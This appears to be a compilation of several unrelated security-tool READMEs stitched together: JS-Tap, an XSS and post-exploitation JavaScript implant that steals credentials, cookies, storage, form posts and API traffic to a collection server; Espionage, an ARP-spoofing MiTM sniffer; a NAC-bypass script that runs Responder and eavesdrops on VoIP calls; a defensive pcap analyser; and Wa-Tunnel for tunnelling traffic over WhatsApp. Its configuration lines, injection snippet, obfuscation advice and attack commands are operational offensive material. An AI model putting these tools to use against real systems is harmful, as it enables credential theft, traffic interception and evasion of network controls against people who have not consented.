Upgrade warning

I do not plan on creating migration scripts for the database, and version number bumps often involve database schema changes (check the changelogs). You should probably delete your jsTap.db database on version bumps. If you have custom payloads in your JS-Tap server, make sure you export them before the upgrade.

Introduction

JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.

The payload does not require the targeted user running the payload to be authenticated to the application being attacked, and it does not require any prior knowledge of the application beyond finding a way to get the JavaScript into the application.

Instead of attacking the application server itself, JS-Tap focuses on the client-side of the application and heavily instruments the client-side code.

The example JS-Tap payload is contained in the telemlib.js file in the payloads directory, however any file in this directory is served unauthenticated. Copy the telemlib.js file to whatever filename you wish and modify the configuration as needed. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.

Make sure you review the configuration section below carefully before using on a publicly exposed server.

Data Collected

• Client IP address, OS, Browser
• User inputs (credentials, etc.)
• URLs visited
• Cookies (that don't have httponly flag set)
• Local Storage
• Session Storage
• HTML code of pages visited (if feature enabled)
• Screenshots of pages visited
• Copy of Form Submissions
• Copy of XHR API calls (if monkeypatch feature enabled)
  • Endpoint
  • Method (GET, POST, etc.)
  • Headers set
  • Request body and response body
• Copy of Fetch API calls (if monkeypatch feature enabled)
  • Endpoint
  • Method (GET, POST, etc.)
  • Headers set
  • Request body and response body

Note: ability to receive copies of XHR and Fetch API calls works in trap mode. In implant mode only Fetch API can be copied currently.

Operating Modes

The payload has two modes of operation. Whether the mode is trap or implant is set in the initGlobals() function, search for the window.taperMode variable.

Trap Mode

Trap mode is typically the mode you would use as a XSS payload. Execution of XSS payloads is often fleeting, the user viewing the page where the malicious JavaScript payload runs may close the browser tab (the page isn't interesting) or navigate elsewhere in the application. In both cases, the payload will be deleted from memory and stop working. JS-Tap needs to run a long time or you won't collect useful data.

Trap mode combats this by establishing persistence using an iFrame trap technique. The JS-Tap payload will create a full page iFrame, and start the user elsewhere in the application. This starting page must be configured ahead of time. In the initGlobals() function search for the window.taperstartingPage variable and set it to an appropriate starting location in the target application.

In trap mode JS-Tap monitors the location of the user in the iframe trap and it spoofs the address bar of the browser to match the location of the iframe.

Note that the application targeted must allow iFraming from same-origin or self if it's setting CSP or X-Frame-Options headers. JavaScript based framebusters can also prevent iFrame traps from working.

Note, I've had good luck using Trap Mode for a post exploitation implant in very specific locations of an application, or when I'm not sure what resources the application is using inside the authenticated section of the application. You can put an implant in the login page, with trap mode and the trap mode start page set to window.location.href (i.e. current location). The trap will set when the user visits the login page, and they'll hopefully contine into the authenticated portions of the application inside the iframe trap.

A user refreshing the page will generally break/escape the iframe trap.

Implant Mode

Implant mode would typically be used if you're directly adding the payload into the targeted application. Perhaps you have a shell on the server that hosts the JavaScript files for the application. Add the payload to a JavaScript file that's used throughout the application (jQuery, main.js, etc.). Which file would be ideal really depends on the app in question and how it's using JavaScript files. Implant mode does not require a starting page to be configured, and does not use the iFrame trap technique.

A user refreshing the page in implant mode will generally continue to run the JS-Tap payload.

Installation and Start

Requires python3. A large number of dependencies are required for the jsTapServer, you are highly encouraged to use python virtual environments to isolate the libraries for the server software (or whatever your preferred isolation method is).

Example:

mkdir jsTapEnvironment
python3 -m venv jsTapEnvironment
source jsTapEnvironment/bin/activate
cd jsTapEnvironment
git clone https://github.com/hoodoer/JS-Tap
cd JS-Tap
pip3 install -r requirements.txt

run in debug/single thread mode:
python3 jsTapServer.py

run with gunicorn multithreaded (production use):
./jstapRun.sh

A new admin password is generated on startup. If you didn't catch it in the startup print statements you can find the credentials saved to the adminCreds.txt file.

If an existing database is found by jsTapServer on startup it will ask you if you want to keep existing clients in the database or drop those tables to start fresh.

Note that on Mac I also had to install libmagic outside of python.

brew install libmagic

Playing with JS-Tap locally is fine, but to use in a proper engagment you'll need to be running JS-Tap on publicly accessible VPS and setup JS-Tap with PROXYMODE set to True. Use NGINX on the front end to handle a valid certificate.

Configuration

JS-Tap Server Configuration

Debug/Single thread config

If you're running JS-Tap with the jsTapServer.py script in single threaded mode (great for testing/demos) there are configuration options directly in the jsTapServer.py script.

Proxy Mode

For production use JS-Tap should be hosted on a publicly available server with a proper SSL certificate from someone like letsencrypt. The easiest way to deploy this is to allow NGINX to act as a front-end to JS-Tap and handle the letsencrypt cert, and then forward the decrypted traffic to JS-Tap as HTTP traffic locally (i.e. NGINX and JS-Tap run on the same VPS).

If you set proxyMode to true, JS-Tap server will run in HTTP mode, and take the client IP address from the X-Forwarded-For header, which NGINX needs to be configured to set.

When proxyMode is set to false, JS-Tap will run with a self-signed certificate, which is useful for testing. The client IP will be taken from the source IP of the client.

Data Directory

The dataDirectory parameter tells JS-Tap where the directory is to use for the SQLite database and loot directory. Not all "loot" is stored in the database, screenshots and scraped HTML files in particular are not.

Server Port

To change the server port configuration see the last line of jsTapServer.py

app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')

Gunicorn Production Configuration

Gunicorn is the preferred means of running JS-Tap in production. The same settings mentioned above can be set in the jstapRun.sh bash script. Values set in the startup script take precedence over the values set directly in the jsTapServer.py script when JS-Tap is started with the gunicorn startup script.

A big difference in configuration when using Gunicorn for serving the application is that you need to configure the number of workers (heavy weight processes) and threads (lightweight serving processes). JS-Tap is a very I/O heavy application, so using threads in addition to workers is beneficial in scaling up the application on multi-processor machines. Note that if you're using NGINX on the same box you need to configure NGNIX to also use multiple processes so you don't bottleneck on the proxy itself.

At the top of the jstapRun.sh script are the numWorkers and numThreads parameters. I like to use number of CPUs + 1 for workers, and 4-8 threads depending on how beefy the processors are. For NGINX in its configuration I typically set worker_processes auto;

Proxy Mode is set by the PROXYMODE variable, and the data directory with the DATADIRECTORY variable. Note the data directory variable needs a trailing '/' added.

Using the gunicorn startup script will use a self-signed cert when started with PROXYMODE set to False. You need to generate that self-signed cert first with:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

telemlib.js Configuration

These configuration variables are in the initGlobals() function.

JS-Tap Server Location

You need to configure the payload with the URL of the JS-Tap server it will connect back to.

window.taperexfilServer = "https://127.0.0.1:8444";

Mode

Set to either trap or implant This is set with the variable:

window.taperMode = "trap";
or
window.taperMode = "implant";

Trap Mode Starting Page

Only needed for trap mode. See explanation in Operating Modes section above.
Sets the page the user starts on when the iFrame trap is set.

window.taperstartingPage = "http://targetapp.com/somestartpage";

If you want the trap to start on the current page, instead of redirecting the user to a different page in the iframe trap, you can use:

window.taperstartingPage = window.location.href;

Client Tag

Useful if you're using JS-Tap against multiple applications or deployments at once and want a visual indicator of what payload was loaded. Remember that the entire /payloads directory is served, you can have multiple JS-Tap payloads configured with different modes, start pages, and clien tags.

This tag string (keep it short!) is prepended to the client nickname in the JS-Tap portal. Setup multiple payloads, each with the appropriate configuration for the application its being used against, and add a tag indicating which app the client is running.

window.taperTag = 'whatever';

Custom Payload Tasks

Used to set if clients are checking for Custom Payload tasks, and how often they're checking. The jitter settings Let you optionally set a floor and ceiling modifier. A random value between these two numbers will be picked and added to the check delay. Set these to 0 and 0 for no jitter.

window.taperTaskCheck        = true;
window.taperTaskCheckDelay   = 5000;
window.taperTaskJitterBottom = -2000;
window.taperTaskJitterTop    = 2000;

Exfiltrate HTML

true/false setting on whether a copy of the HTML code of each page viewed is exfiltrated.

window.taperexfilHTML = true;

Copy Form Submissions

true/false setting on whether to intercept a copy of all form posts.

window.taperexfilFormSubmissions = true;

MonkeyPatch APIs

Enable monkeypatching of XHR and Fetch APIs. This works in trap mode. In implant mode, only Fetch APIs are monkeypatched. Monkeypatching allows JavaScript to be rewritten at runtime. Enabling this feature will re-write the XHR and Fetch networking APIs used by JavaScript code in order to tap the contents of those network calls. Not that jQuery based network calls will be captured in the XHR API, which jQuery uses under the hood for network calls.

window.monkeyPatchAPIs = true;

Screenshot after API calls

By default JS-Tap will capture a new screenshot after the user navigates to a new page. Some applications do not change their path when new data is loaded, which would cause missed screenshots. JS-Tap can be configured to capture a new screenshot after an XHR or Fetch API call is made. These API calls are often used to retrieve new data to display. Two settings are offered, one to enable the "after API call screenshot", and a delay in milliseconds. X milliseconds after the API call JS-Tap will capture the new screenshot.

window.postApiCallScreenshot = true;
window.screenshotDelay       = 1000;

JS-Tap Portal

Login with the admin credentials provided by the server script on startup.

Clients show up on the left, selecting one will show a time series of their events (loot) on the right.

The clients list can be sorted by time (first seen, last update received) and the list can be filtered to only show the "starred" clients. There is also a quick filter search above the clients list that allows you to quickly filter clients that have the entered string. Useful if you set an optional tag in the payload configuration. Optional tags show up prepended to the client nickname.

Each client has an 'x' button (near the star button). This allows you to delete the session for that client, if they're sending junk or useless data, you can prevent that client from submitting future data.

When the JS-Tap payload starts, it retrieves a session from the JS-Tap server. If you want to stop all new client sessions from being issues, select Session Settings at the top and you can disable new client sessions. You can also block specific IP addresses from receiving a session in here.

Each client has a "notes" feature. If you find juicy information for that particular client (credentials, API tokens, etc) you can add it to the client notes. After you've reviewed all your clients and made you notes, the View All Notes feature at the top allows you to export all notes from all clients at once.

The events list can be filtered by event type if you're trying to focus on something specific, like screenshots. Note that the events/loot list does not automatically update (the clients list does). If you want to load the latest events for the client you need to select the client again on the left.

Custom Payloads

Starting in version 1.02 there is a custom payload feature. Multiple JavaScript payloads can be added in the JS-Tap portal and executed on a single client, all current clients, or set to autorun on all future clients. Payloads can be written/edited within the JS-Tap portal, or imported from a file. Payloads can also be exported. The format for importing payloads is simple JSON. The JavaScript code and description are simply base64 encoded.

[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]

The main user interface for custom payloads is from the top menu bar. Select Custom Payloads to open the interface. Any existing payloads will be shown in a list on the left. The button bar allows you to import and export the list. Payloads can be edited on the right side. To load an existing payload for editing select the payload by clicking on it in the Saved Payloads list. Once you have payloads defined and saved, you can execute them on clients.

In the main Custom Payloads view you can launch a payload against all current clients (the Run Payload button). You can also toggle on the Autorun attribute of a payload, which means that all new clients will run the payload. Note that existing clients will not run a payload based on the Autorun setting.

You can toggle on Repeat Payload and the payload will be tasked for each client when they check for tasks. Remember, the rate that a client checks for custom payload tasks is variable, and that rate can be changed in the main JS-Tap payload configuration. That rate can be changed with a custom payload (calling the updateTaskCheckInterval(newDelay) function). The jitter in the task check delay can be set with the updateTaskCheckJitter(newTop, newBottom) function.

The Clear All Jobs button in the custom payload UI will delete all custom payload jobs from the queue for all clients and resets the auto/repeat run toggles.

To run a payload on a single client user the Run Payload button on the specific client you wish to run it on, and then hit the run button for the specific payload you wish to use. You can also set Repeat Payload on individual clients.

Tools

A few tools are included in the tools subdirectory.

clientSimulator.py

A script to stress test the jsTapServer. Good for determining roughly how many clients your server can handle. Note that running the clientSimulator script is probably more resource intensive than the actual jsTapServer, so you may wish to run it on a separate machine.

At the top of the script is a numClients variable, set to how many clients you want to simulator. The script will spawn a thread for each, retrieve a client session, and send data in simulating a client.

numClients = 50

You'll also need to configure where you're running the jsTapServer for the clientSimulator to connect to:

apiServer = "https://127.0.0.1:8444"

JS-Tap run using gunicorn scales quite well.

MonkeyPatchApp

A simple app used for testing XHR/Fetch monkeypatching, but can give you a simple app to test the payload against in general.

Run with:

python3 monkeyPatchLab.py

By default this will start the application running on:

https://127.0.0.1:8443

Pressing the "Inject JS-Tap payload" button will run the JS-Tap payload. This works for either implant or trap mode. You may need to point the monkeyPatchLab application at a new JS-Tap server location for loading the payload file, you can find this set in the injectPayload() function in main.js

function injectPayload()
{
    document.head.appendChild(Object.assign(document.createElement('script'),
        {src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}

formParser.py

Abandoned tool, is a good start on analyzing HTML for forms and parsing out their parameters. Intended to help automatically generate JavaScript payloads to target form posts.

You should be able to run it on exfiltrated HTML files. Again, this is currently abandonware.

generateIntelReport.py

No longer working, used before the web UI for JS-Tap. The generateIntelReport script would comb through the gathered loot and generate a PDF report. Saving all the loot to disk is now disabled for performance reasons, most of it is stored in the datagbase with the exception of exfiltratred HTML code and screenshots.

Espionage - A Linux Packet Sniffing Suite For Automated MiTM Attacks

Espionage is a network packet sniffer that intercepts large amounts of data being passed through an interface. The tool allows users to to run normal and verbose traffic analysis that shows a live feed of traffic, revealing packet direction, protocols, flags, etc. Espionage can also spoof ARP so, all data sent by the target gets redirected through the attacker (MiTM). Espionage supports IPv4, TCP/UDP, ICMP, and HTTP. Espionag e was written in Python 3.8 but it also supports version 3.6. This is the first version of the tool so please contact the developer if you want to help contribute and add more to Espionage. Note: This is not a Scapy wrapper, scapylib only assists with HTTP requests and ARP.

Installation

1: git clone https://www.github.com/josh0xA/Espionage.git
2: cd Espionage
3: sudo python3 -m pip install -r requirments.txt
4: sudo python3 espionage.py --help

Usage

1. sudo python3 espionage.py --normal --iface wlan0 -f capture_output.pcap
   Command 1 will execute a clean packet sniff and save the output to the pcap file provided. Replace wlan0 with whatever your network interface is.
   
2. sudo python3 espionage.py --verbose --iface wlan0 -f capture_output.pcap
   Command 2 will execute a more detailed (verbose) packet sniff and save the output to the pcap file provided.
   
3. sudo python3 espionage.py --normal --iface wlan0
   Command 3 will still execute a clean packet sniff however, it will not save the data to a pcap file. Saving the sniff is recommended.
   
4. sudo python3 espionage.py --verbose --httpraw --iface wlan0
   Command 4 will execute a verbose packet sniff and will also show raw http/tcp packet data in bytes.
   
5. sudo python3 espionage.py --target <target-ip-address> --iface wlan0
   Command 5 will ARP spoof the target ip address and all data being sent will be routed back to the attackers machine (you/localhost).
   
6. sudo python3 espionage.py --iface wlan0 --onlyhttp
   Command 6 will only display sniffed packets on port 80 utilizing the HTTP protocol.
   
7. sudo python3 espionage.py --iface wlan0 --onlyhttpsecure
   Command 7 will only display sniffed packets on port 443 utilizing the HTTPS (secured) protocol.
   
8. sudo python3 espionage.py --iface wlan0 --urlonly
   Command 8 will only sniff and return sniffed urls visited by the victum. (works best with sslstrip).
   
   
9. Press Ctrl+C in-order to stop the packet interception and write the output to file.

Nac_Bypass_Agent - This Function Combines All The Above Functions And Takes Necessary Information From The User To Change The IP And MAC Address, Start The Responder And Tcpdump Tools, And Run The Nbtscan Tool

Nac Bypass Agent

This piece of code is a script written in Python and designed to run on Kali Linux. Here is a summary explaining what each function does:

run_command(command):

This function runs the command it takes as input and returns its output.

kill_network_services():

This function stops the dhclient and NetworkManager services.

get_network_info():

This function listens for network traffic using tcpdump and returns the first captured IP and MAC address. If these addresses are not captured, None returns None.

spoof_ip_address(interface, ip_address, netmask):

This function replaces the IP address of the specified network interface with the specified IP address and netmask.

spoof_mac_address(interface, mac_address):

This function replaces the MAC address of the specified network interface with the specified MAC address.

start_responder(interface):

This function starts the responder tool on the specified network interface.

start_tcpdump(interface):

This function starts the tcpdump tool on the specified network interface.

nbtscan(ip_range):

This function runs the nbtscan tool in the specified IP range.

main():

This function combines all the above functions and takes necessary information from the user to change the IP and MAC address, start the responder and tcpdump tools, and run the nbtscan tool.

All of the above code must be contained in a Python script and the script must be run with root privileges. Because this piece of code contains commands that change the network configuration and tools that listen for network traffic. These operations usually require root privileges. Also, the use of this script may be subject to the law and unauthorized use may lead to legal problems. Therefore, it is important to check local laws and policies before using the script.

In apt and Ransomware group scenarios, when they infiltrate the enterprise from the outside, it tries to bypass nac security solutions in enterprise structures. If it can achieve this, it starts to discover users in the whole network. It also listens to the network with wireshark or tcpdump. If voip is used in your structure, it can decode all calls over SIP. In the scenario I have described below, it decodes your voip calls over SIP after success.

This is a tool that aims to automatically bypass the nac bypass method at the basic level in the tool I have made. With this tool, it helps you to interpret your nac security product configuration in your organization with or without attack protection at a basic level. Example usage and explanation are as follows.

Step 1

The first step is to run this tool when you connect to the inside network.

If the nac bypass is successful, listen to the network with wireshark. And here, filter the Voip calls from the #SIPFlows tab from the #Telephony tab with the data you collected over wireshark, and if the call is available instantly, you can listen to the VOIP calls according to a certain order.

Step 2

Step 3

The purpose of this tool and this scenario is to increase security awareness for your institutions. In addition, the perspective of an APT group has been tried to be reflected.

Everyone is looking at what you are looking at; But can everyone see what he can see? You are the only difference between them…

Network_Assessment - With Wireshark Or TCPdump, You Can Determine Whether There Is Harmful Activity On Your Network Traffic That You Have Recorded On The Network You Monitor

With Wireshark or TCPdump, you can determine whether there is harmful activity on your network traffic that you have recorded on the network you monitor.

This Python script analyzes network traffic in a given .pcap file and attempts to detect the following suspicious network activities and attacks:

1. DNS Tunneling
2. SSH Tunneling
3. TCP Session Hijacking
4. SMB Attack
5. SMTP or DNS Attack
6. IPv6 Fragmentation Attack
7. TCP RST Attack
8. SYN Flood Attack
9. UDP Flood Attack
10. Slowloris Attack

The script also tries to detect packages containing suspicious keywords (eg "password", "login", "admin", etc.). Detected suspicious activities and attacks are displayed to the user in the console.

The main functions are:

• get_user_input(): Gets the path of the .pcap file from the user.
• get_all_ip_addresses(capture): Returns a set containing all source and destination IP addresses.
• detect_* functions: Used to detect specific attacks and suspicious activities.
• main(): Performs the main operations of the script. First, it gets the path of the .pcap file from the user, and then analyzes the file to try to detect the specified attacks and suspicious activity.

How to Install Script?

git clone https://github.com/alperenugurlu/Network_Assessment.git

pip3 install -r requirements.txt

How to Run the Script?

python3 Network_Compromise_Assessment.py

Please enter the path to the .pcap or .pcapng file: /root/Desktop/TCP_RST_Attack.pcap (Example)

Wa-Tunnel - Tunneling Internet Traffic Over Whatsapp

This is a Baileys based piece of code that lets you tunnel TCP data through two Whatsapp accounts.

This can be usable in different situations, for example network carriers that give unlimited whatsapp data or airplanes where you also get unlimited social network data.

It's using Baileys since it's a WS based multi-device whatsapp library and therefore could be used in android in the future, using Termux for example.

The idea is to use it with a proxy setup on the server like this: [Client (restricted access) -> Whatsapp -> Server -> Proxy -> Internet]

Apologizes in advance since Javascript it's not one of my primary coding languages :/

Use only for educational purpose.

How does it work?

It sends TCP network packages through WhatsApp text and file messages, depending on the amount of characters it splits them into different text messages or files.

To not get timed out by WhatsApp by default it's limited at 20k characters per message, at the moment it's hardcoded in wasocket.js. I have done multiple tests and anything below that may get you banned for sending too many messages and any above 80k may timeout.

If a network package is over the limit (20k chars by default) it will be sent as a file if enabled. Also if multiple network packages are cached it will use the same cryteria.

File messages are sent as binary files, TCP responses are concatenated with a delimiter and compressed using brotli to reduce data usage.

It caches TCP socket responses to group them and send the maximum amount of data in a message therefore reducing the amount of messages, improving the speed and reducing the probability of getting banned.

Performance improvements

Before: (without files and no response caching)

curl -x localhost:12345 https://www.youtube.com
- 50-80 messages
- 30-40 seconds

After: (with files and response caching)

curl -x localhost:12345 https://www.youtube.com
- 6-8 messages
- 7-15 seconds

In case you are not allowed to send files use the --disable-files flag when starting the server and client to disable this functionality.

Why?

I got the idea While travelling through South America network data on carriers is usually restricted to not many GBs but WhatsApp is usually unlimited, I tried to create this library since I didn't find any usable at the date.

Setup

You must have access to two Whatsapp accounts, one for the server and one for the client. You can forward a local port or use an external proxy.

Server side

Clone the repository on your server and install node dependencies.

1. cd path/to/wa-tunnel
2. npm install

Then you can start the server with the following command where port is the proxy port and host is the proxy host you want to forward. And number is the client WhatsApp number with the country code alltogether and without +.

npm run server host port number

You can use a local proxy server like follows:

npm run server localhost 3128 12345678901

Or you can use a normal proxy server like follows:

npm run server 192.168.0.1 3128 12345678901

Client Side

Clone the repository on your server and install node dependencies.

1. cd path/to/wa-tunnel
2. npm install

Then you can start the server with the following command where port is the local port where you will connect and number is the server WhatsApp number with the country code alltogether and without +.

npm run client port number

For example

npm run client 8080 1234567890

Usage

The first time you open the script Baileys will ask you to scan the QR code with the whatsapp app, after that the session is saved for later usage.

It may crash, that's normal after that just restart the script and you will have your client/server ready!

Once you have both client and server ready you can test using curl and see the magic happen.

curl -v -x proxyHost:proxyPort https://httpbin.org/ip

With the example commands would be:

curl -v -x localhost:8080 https://httpbin.org/ip

It has been tested also with a normal browser like Firefox, it's slow but can be used.

You can also forward other protocol ports like SSH by setting up the server like this:

npm run server localhost 22 12345678901

And then connect to the server by using in the client:

ssh root@localhost -p 8080

Usage on Android

To use on Android, you can use it with Termux using the following commands:

pkg update && pkg upgrade
pkg install git nodejs -y
git clone https://github.com/aleixrodriala/wa-tunnel.git
cd wa-tunnel
npm install

Disclaimer

Using this library may get your WhatsApp account banned, use with a temporary number or at your own risk.

TO-DO

• Make an Android script to install node dependencies on termux
• When Baileys supports calls, implement package sending through calls
• Implement sending files for big data packages to reduce messages and maybe improve speed
• Cache socket responses to reduce even further the amount of messages sent
• Documentation
